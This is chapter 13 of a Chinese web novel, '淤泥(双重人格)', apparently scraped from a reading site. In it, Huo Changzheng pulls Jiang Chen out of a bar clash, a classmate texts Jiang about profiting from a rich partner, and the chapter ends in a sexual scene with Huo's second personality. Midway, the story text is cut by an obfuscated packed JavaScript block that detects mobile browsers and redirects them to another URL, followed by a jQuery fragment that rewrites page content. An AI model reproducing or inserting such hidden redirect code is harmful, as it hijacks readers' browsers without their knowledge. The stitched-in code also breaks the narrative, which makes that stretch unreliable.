13.第 13 章
作品:《淤泥(双重人格)》 包厢内场面乱成一团。
被猛然推开的中年男人重心不稳往后倒去,小腿狠狠磕在包厢中间的桌角上。
“你他妈谁啊?!”
“找死啊!”
剧痛让他面容扭曲,怒骂的声音高而充满戾气。
江沉原本冲过来时像莽撞的羚羊,凶狠的把人顶开,被他一吼,整个人一顿,眼神里闪过一丝恍惚的畏惧,无措的往后缩了缩。
身体往后一退,撞上了温暖而坚实的胸膛。
霍长铮的声音响在他耳边,微微压低了些,带着些恼似的,又像是戏谑逗弄:
“冲上去的时候不是跑得很快吗?”
“现在往后躲什么?”
“江沉,我带你出来交朋友,出来玩,你玩上男模了嗯?”
他说着江沉的不对,却把江沉往他身后带了带,站在了江沉的身前。
“江沉?”被突发情况弄得有些蒙的站在一排男生中间的其中一个犹豫着叫了一声江沉的名字。
江沉嗯了一声,伸手去拉他,把他一同拉到了霍长铮身后。
霍长铮气笑了,没准备在这里和江沉算账,但也没有阻止,算是另一种纵容。
大庭广众之下,他不会让江沉丢脸难堪。
霍长铮视线扫过这里,道:“不好意思,我弟弟喝醉了,你们这里的帐记在我卡上,就当赔罪了。”
中年男人站起身,骂骂咧咧道:“你看不起谁呢?”
他目光落在江沉的脸上,酒色熏透了眼睛露出有些垂涎的眼光,“你弟弟这么冲进来,怎么?也想站在这里被我们挑啊。”
江沉不适又厌恶地蹙了蹙眉,霍长铮的表情更是冷了下来。
江沉拉了拉霍长铮的衣角,低声道:“不要给他们钱。”
霍长铮挑眉看了他一眼,“你还挺霸道。”
“撞了人不想赔礼不想道歉还不想给钱。”
“你要横着走啊?”
江沉抿了抿唇,被说得有些窘迫,但他不喜欢这些人,给他们赔钱感觉花出去的钱都脏了。
中年男人和他的朋友叫嚷着,“我跟你说今天这事没完。”
“要是不让你弟弟来把这一瓶酒一口气干了再给我们道歉,你们别想走。”
霍长铮对他们的话置若罔闻,偏头对江沉说道:“今天就让你横着走。”
他转过身,看了眼听见有冲突后急急忙忙赶来的经理,淡声道:“赶出去。”
经理连连点头,脸上堆着笑:“霍总,您去旁边休息就好,保安马上就到。”
霍长铮嗯了声,“多谢。”
经理:“霍总您说笑了,这都是我们应该的,您先玩,我就不打扰你们了。”
霍长铮带着江沉离开,没有给旁人多余的眼神,江沉余光看见,人高马大的几个保安已经走进了那个包厢。
江沉嘴巴微微张开,有些惊讶,“他们为什么这么听你的话?”
“把客人赶出去,生意可以这样做?”
霍长铮似笑非笑的看着他,“不是某个横行霸道的小羚羊想这样吗?”
“我还不知道要为这件事欠多大的人情,给这间店的老板多少钱,为了让你霸道一次我亏大了。”
江沉垂了垂眸,表情窘迫愧疚更甚,讷讷道:“对不起...”
一旁的程欣心扑哧一下笑了,“江江,你被他骗啦。”
“这家酒吧是别人开着玩的,赶出去一个人,就算闹起来也很容易压下去,又没人受伤又没人动手的。”
“而且这里亏了赚了倒闭了对老板来说都无所谓,但是长铮哥手上和他的合作要是黄了,他就完了。”
说着,她忽然想起什么,道:“但是刚刚表哥你怎么说江江是你弟弟啊,不是男朋友吗?”
一句话引得跟在后面的两个人露出了有些异样的神情,每个人的反应都各不相同。
江沉怔愣了一下,被他拉过来的男生则若有所思的看着两人。
当事人倒是很坦然。
霍长铮道:“他还是学生,我们两个人的身份说出去容易引起其他人误会,没必要和陌生人说那么清楚。”
江沉还很稚嫩,明眼人一看就知道他还是学生。
而霍长铮已经走上社会,西装革履,又是另一种气质。
他和江沉之间隔着五岁的年龄差,这也是霍长铮愿意照顾江沉的另一个原因。
江沉对他而言,比霍长迟还像弟弟。
霍长铮对着程欣心道:“好了,你跟他们说我们有事先走了。”
程欣心扭头望了眼其实一直站在门口的众人,见霍长铮没有亲自过去打声招呼的意思,点了点头道:“好。”
酒吧门口,霍长铮挑眉看向江沉:“说说吧,怎么回事?”
明明另一个人也站在他面前,他却没有和对方说话的意思,只看向江沉。
后者却抢先于江沉开口,“霍..霍总。”
“江沉应该是为了帮我,我叫林安,和他是同学,他借过我的钱。”
江沉有些尴尬地立在原地,没有吭声。
霍长铮拧眉,“多少钱?”
“我帮他还。”
林安啊了一声,连连摆手:“不用不用,江江已经还了。”
霍长铮眉头拧得更深:“既然已经还了,为什么张口就提他借过你钱的事?”
林安更慌张了,“不是,不是这个意思,我是想说我以前帮过江江,他今天可能才会那么冲动。”
霍长铮表情不怎么好,眉梢微微压着,带出点冷厉,“炫耀你们交情深?”
林安开口,话说得很绝望了:“......我没有这个意思,霍总。”
江沉拽了拽霍长铮的衣角,小声道:“好了,你先走吧。”
霍长铮知道现在自己应该拿出一个成年人的体面,很善解人意的走到一边,给两个人腾出说话的空间。
但是。
“什么话不能当着我的面说?”
这个叫林安的,霍长铮不知道他秉性如何,但是在这种地方,做那样的职业,江沉没必要和他有什么过深的往来。
林安看了看两人,笑了两声试图缓和气氛,“也是,已经挺晚了。”
“江江,我们加个联系方式下次再聊吧。”
霍长铮:“不是说同学吗?”
霍长铮:“联系方式都没有?”
霍长铮:“我看交情也不是很深就用不着加了吧。”
江沉顶着一句又一句的阻止,硬着头皮拿出手机扫着林安的二维码。
下一秒第三部手机伸了出来。
江沉诧异的看过去,霍长铮微笑:“你的朋友就是我的朋友,我也应该认识一下。”
......
回家的路上,司机在前面开着车,江沉和霍长铮坐在后面,时不时的说几句话。
霍长铮说,江沉嗯嗯啊啊的敷衍。
手机无声的跳进一个又一个消息,江沉嘴上和霍长铮说着话,手上打字的动作也没停。
林安:“江江,他不是你男朋友吧?”
林安:“他嘴上还冠冕堂皇的说什么怕别人对你有误会,其实就是不想承认你吧。”
林安:“在哪里钓到的,你都穿上lv了你。”
江沉:“他应该不是那个意思...”
霍长铮在一旁看得皱眉,拿出手机找到刚加上的联系人,点开了那条他没回的消息。
林安:“霍总今天多谢您。”
霍长铮:“少和江沉说话。”
想了想又道:“你说借钱给江沉的事,具体什么情况?”
林安:“我和江沉是高中同学,高考完以后我们都被A市这边的学校录取了。”
林安:“本来说好一起来A市,两个人有个照应的,结果他家里出事了。”
霍长铮:“他找你借了多少钱?什么时候还的。”
林安忙得两边的消息来回切换着回,回着霍长铮的还不忘回江沉的。
江沉:“你不是在念书吗?”
林安:“我是兼职,做这个轻松来钱快啊,今天那样的应付一下就行了,不想跟着走可以就喝喝酒的,反正我也是男人,被摸两下也不会少块肉。”
林安:“但今天还是谢谢你啦,能不应付那种人还是不应付比较好。”
林安:“主要那里很多有钱人的,万一遇到霍总那样的,不就发了?”
林安:“还有那种富婆姐姐,保养得好,漂亮又大方的,谈一段也不亏啊。”
林安:“你不也是为了钱和霍总在一起的?”
霍长铮一边警告着林安,一边跟江沉道:“林安那个人心思不单纯,我不反感你交朋友,但是他不适合深交。”
林安的消息和霍长铮的话几乎同时传进江沉脑海里,一个被他看到,一个被他听到。
江沉心道,他其实和林安也没什么不同,只是运气好,遇到的是霍长铮。
嘴上对着霍长铮说道:“他以前帮过我的,碰上了聊两句都不可以吗?”
手上对着林安的聊天框打字,“我是啊。”
霍长铮的手机叮咚一声响,是林安的消息。
林安:“没多少钱,就一千块。”
林安:“我后面才知道,他找我借钱的时候已经很久没吃过像样的饭了。”
林安:“他是个很要面子的人,如果不是真的没办法了他不会开口的,他...唉,他家里真的把他拖垮了。”
霍长铮没有回林安的消息,心情却沉了沉,像绳子的一端绑上了石块,坠在了心上。
“林安说那时候你借他的钱吃饭?”
“那时候你吃不起饭了?”
江沉在分心和林安聊天,闻言随口道:“也不算吃不起吧。”
“那种老式馒头,一块五就能买四个,能吃一天。”
霍长铮:“...这就是吃不起饭了,宝贝。”
刚一说出口,他就察觉到自己叫错了称呼,正想解释是叫习惯了嘴快,就见江沉头也没抬毫不在意的回他:
“没啊,很管饱的。”
霍长铮沉默了一下。
他不知道该说江沉说得对不对,听上去好像没错,但就是很让人沉默。
而江沉只是在手机聊天的功夫分心回答他,轻飘飘的像在说无足轻重的事情。
而且,刚刚好像是他第一次在说破两个人的事情后,不是再为了演谁叫江沉宝贝。
虽然也是口误,但是,江沉一点反应都没有是不是没有把他说的两个人之间的差别当回事?
既然已经说破了,还分不清的话,对江沉,对他们都不是一件好事。
霍长铮思考着,而江沉那边,手机上的消息闪进来得很快。
林安:“我看他还挺维护你的。”
“要是你们分手了,介绍给我吧?”
江沉打字的手一顿,一句不行先从心底冒出来,却迟迟没有在键盘上敲下。
林安:“你想在他身上捞多少,你们做过没?”
林安:“你爸爸那个事情你是不是还欠着债的?”
林安:“要是他问你借钱的事情,你就把你家里的事情说一下,记得要哭啊,男人最吃这一套了。”
因为霍长铮的那句弟弟,和那个在林安看来有些欲盖弥彰的解释。
他已经完全把江沉和霍长铮的关系往另一个方向想了,那种两个人短期交往谈几个月恋爱就分手的关系。
他其实也没有什么坏心眼,不过是想着他和江沉也算是有交情。
江沉和霍长铮两个人天壤之别的家庭身份,注定不可能长久。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122579|195727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
江沉在霍长铮身上赚一点,要是霍长铮看得上他的话,他也跟着赚一点。
他的消息又多又快,江沉却松了口气,兀自忽略了其中的几条,挑着引用回复道:“没。”
林安:“大惊失色.jpg”
林安:“你是想钓着他吗?钓一段时间可以,钓久了小心鱼脱钩。”
林安:“他在那种地方出入,经理对他那么谄媚,要是他在其他地方尝到肉味,可能就对你不是那么上心了。”
一只手伸过来拿走了江沉的手机。
霍长铮:“还在聊?”
江沉眼睛都吓得睁圆了,生怕霍长铮看到上面林安发的消息,飞扑过去一把按熄了屏幕。
扭身扑过去拿手机的缘故,他几乎是趴在了霍长铮腿上,姿势糟糕得江沉立刻就要撑着座椅想坐起来。
下一秒,砰的一声闷响。
江沉有些狼狈地跌坐在羊皮地毯上,错愕地看向霍长铮。
霍长铮眼里闪过懊恼,伸手去拉他,“你...”
“抱歉。”
迈巴赫的挡板是放下的,密闭的空间里,两个人之间的气氛只有一瞬间的暧昧就被铺天盖地的抗拒冲淡。
江沉想避开他的手,犹豫了一下还是伸手握住,低声说了句没事。
后排密闭的环境,仅仅几秒钟的安静,就好似有些让人坐立不安一般。
霍长铮忽然说道:“我会给你很多钱的,江沉。”
“我用你的名字,为你建立一个海外的信托基金,你每年都能从里面领钱,领一辈子。”
就算以后分开或者什么意外情况,也能领。
不会让你饿肚子。
霍长铮咽下了后面两句没说,氛围已经很怪异了,他不想再说得很肉麻。
他和江沉之间不能肉麻。
江沉眨巴了下眼睛,不明白这个话题的跳转速度。
他哦了一声,又顿了顿,说了声:“谢谢。”
接着江沉视线下瞟,又往右边移了移,声音更小了,“要我帮你吗?”
霍长铮大惊失色:“不用!”
“我不是这个意思!!”
“你刚刚趴在我的腿上,然后你呼气,你,我,就,”他词穷了一下,深吸了一口气,绷着脸道:“本能反应,不用管它。”
“我没有交易的意思,我只是。”
霍长铮叹了口气,心道算了,都快要洗不清了还是说了吧:
“我只是不想你以后再因为意外饿肚子。”
江沉一愣,怔怔地看着霍长铮,然后笑了下,“好哦。”
“我知道你没有交易的意思了。”
“但是我的意思是确实可以帮你。”
霍长铮这次拒绝的更快了,语速飞快语气又急:“真不用!”
虽然这玩意他这辈子可能都不会体会真正派上用场的感觉,但是偶尔自己手动一下还是能爽一下的。
但要是霍长迟现在其实醒着正在看,按他的疯劲,嫉妒心上来,不分敌我的把这玩意阉割了。
好吧,应该不会。
但江沉这句帮忙真的有点吓人。
......
“宝宝帮我。”
仅仅亮着一盏夜灯的卧室里,江沉被握住手的时候,人还是蒙的。
【霍长铮】抱着他,两个人面对面的,他跨坐在【霍长铮】腿上。
从车里有些尴尬怪异的氛围里离开,到家洗漱过后,已经距离那句帮忙过去一个小时了。
现在是...
江沉眨了下眼睛,仔细辨认着眼前人的神情,迟疑着开口:“你是...?”
男人靠近,细细密密的吻落在江沉眼角,“宝宝,叫我霍长迟。”
“叫我的名字。”
这就是霍长铮的第二个人格吗?
江沉轻声叫他:“霍长迟。”
霍长迟的动作忽然停下,直勾勾的看着江沉。
他的眼眸深黑,里面的情绪晦暗难辨,一眨不眨的看人时,让人有种汗毛直竖的恐惧感。
江沉不知道为什么就紧张起来,开口说话时都有些打磕绊,“怎,怎么了?”
霍长迟:“我喜欢你叫我的名字。”
“从来没有人叫过我的名字,宝宝。”
江沉啊了一声,“霍长铮也不叫你名字吗?”
霍长迟眨了下眼:“不叫。”
“你好扫兴啊宝宝。”
霍长迟像是不满,在江沉唇上重重的吮吻了好几次,略尖的犬齿划过唇肉,引起轻微的涩疼,“气氛都破坏完了,你要赔我。”
好像在撒娇啊...
是在撒娇吗?
江沉有些新奇这样的体验,“你要我怎么赔你?”
“宝宝。”霍长迟叫他。
江沉的手被拉住,骨节分明的温凉手掌握着他的手,手指一根根的插|入指腹,扣紧。
霍长迟:“宝宝交朋友了。”
霍长迟:“为什么要交朋友啊宝宝?”
他亲吻着江沉的眼睛,鼻尖,唇角,“宝宝有我还不够吗?”
“我们属于彼此不好吗?”
江沉眸光闪了闪,心想霍长铮还说什么是两个人不是两个人格,明明两边都在介意他和林安来往。
“把你赔给我吧...”
霍长迟最后一句话的声音轻似呢喃,动作却逐渐肆意起来。
江沉还在分神,感受到冰凉的液体的那一刻,他险些跳起来。
什么时候...?
“宝贝。”
“宝宝。”
“橙子。”
“我的橙子。”
一个称呼一根手指,最后化为一声叹息,江沉的呜|咽被吞没,眼泪被舔||舐,只有手徒劳的攥紧,再攥紧。

